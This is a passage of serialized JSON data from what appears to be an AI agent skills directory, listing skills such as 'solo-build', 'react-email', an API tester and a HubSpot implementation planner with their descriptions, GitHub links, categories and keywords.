search","搜索","baidu","bing","duckduckgo","百度","多引擎","internet",{"skillNo":139,"name":140,"nameZh":6,"description":141,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":98,"licenseFileUrl":6,"sourceHtmlUrl":142,"categories":143,"keywords":147,"publishedAt":44},"01M6F2K968G1FZEZFPW2E6B222","solo-build","Execute implementation plan tasks with TDD workflow, auto-commit, and phase gates. Use when user says \"build it\", \"start building\", \"execute plan\", \"implement tasks\", \"ship it\", or references a track ID. Do NOT use for planning (use \u002Fplan) or scaffolding (use \u002Fscaffold).","https:\u002F\u002Fgithub.com\u002Fluokai0\u002Fai-agent-skills-by-luo-kai\u002Fblob\u002Fmain\u002Fai-agent-skills\u002F22-clawhub-skills\u002Fsolo-build\u002FSKILL.md",[144],{"categoryNo":145,"categoryName":146,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",[148,149,150,151,152,153,154,39,129,155,156,157,102,158,159,160,161,162,163,164],"build","solo","solo build","MCP","workflow","commit","tasks","Bash","plan","read","auto","references","context7","query","scaffolding","ship it","project",{"skillNo":166,"name":167,"nameZh":6,"description":168,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":98,"licenseFileUrl":6,"sourceHtmlUrl":169,"categories":170,"keywords":177,"publishedAt":44},"01M6F2GKN39SGHSPWYB3662YC8","react-email","Use when building HTML email templates with React components, adding a visual email editor to an application using the React Email visual editor, rendering emails to HTML, or sending emails with Resend. Covers welcome emails, password resets, notifications, order confirmations, newsletters, transactional emails, and the embeddable email editor component.","https:\u002F\u002Fgithub.com\u002Fluokai0\u002Fai-agent-skills-by-luo-kai\u002Fblob\u002Fmain\u002Fai-agent-skills\u002F22-clawhub-skills\u002Freact-email-skills\u002FSKILL.md",[171,174],{"categoryNo":172,"categoryName":173,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000005","邮件与沟通",{"categoryNo":175,"categoryName":176,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000009","前端开发",[178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197],"react","email","react email","github","editor","components","react components","component","welcome","https","notifications","password","node","use","html","resend","visual","emails","rendering","with",{"skillNo":199,"name":200,"nameZh":6,"description":201,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":98,"licenseFileUrl":6,"sourceHtmlUrl":202,"categories":203,"keywords":214,"publishedAt":44},"01M6F2FBVGVDFSG8SSFJGXA40C","APITester Agent-Driven API Testing","Test API endpoints and document responses. Define tests in plain English, run them, get formatted results. Agent-driven Postman alternative.","https:\u002F\u002Fgithub.com\u002Fluokai0\u002Fai-agent-skills-by-luo-kai\u002Fblob\u002Fmain\u002Fai-agent-skills\u002F22-clawhub-skills\u002Fopenclaw-api-tester\u002FSKILL.md",[204,205,208,209],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":206,"categoryName":207,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000010","后端与接口",{"categoryNo":145,"categoryName":146,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":210,"categoryName":211,"taxonomyType":212,"taxonomyTypeDesc":213},"01JBSEEDCAT000000000000030","开发工程师","PROFESSION","适用职业",[27,215,216,217,218,219,220,221,222,223,224,225,226,227,228,30,229,230],"api","api testing","driven","APITester Agent Driven API Testing","test","run","postman","results","plain english","tester","endpoints","document","get","define","english","api-tester",{"skillNo":232,"name":233,"nameZh":6,"description":234,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":98,"licenseFileUrl":6,"sourceHtmlUrl":235,"categories":236,"keywords":237,"publishedAt":44},"01M6F273Y3NGAPVJZ608BC0G9G","hubspot-implementation-plan","Generate a phased implementation plan from a HubSpot audit report. Creates prioritized, sequenced cleanup processes with effort estimates, dependencies, and automation feasibility. Use after running \u002Fhubspot-audit.","https:\u002F\u002Fgithub.com\u002Fluokai0\u002Fai-agent-skills-by-luo-kai\u002Fblob\u002Fmain\u002Fai-agent-skills\u002F22-clawhub-skills\u002Fhubspot-implementation-plan\u002FSKILL.md",[],[156,238,239,240,241,242,243,108,244,245,246,247,248,191,249,250,197,251],"implementation","hubspot","hubspot implementation plan","automation","feasibility","cleanup","planning","report","audit","audit report","phased implementation","dependencies","processes","hubspot audit"]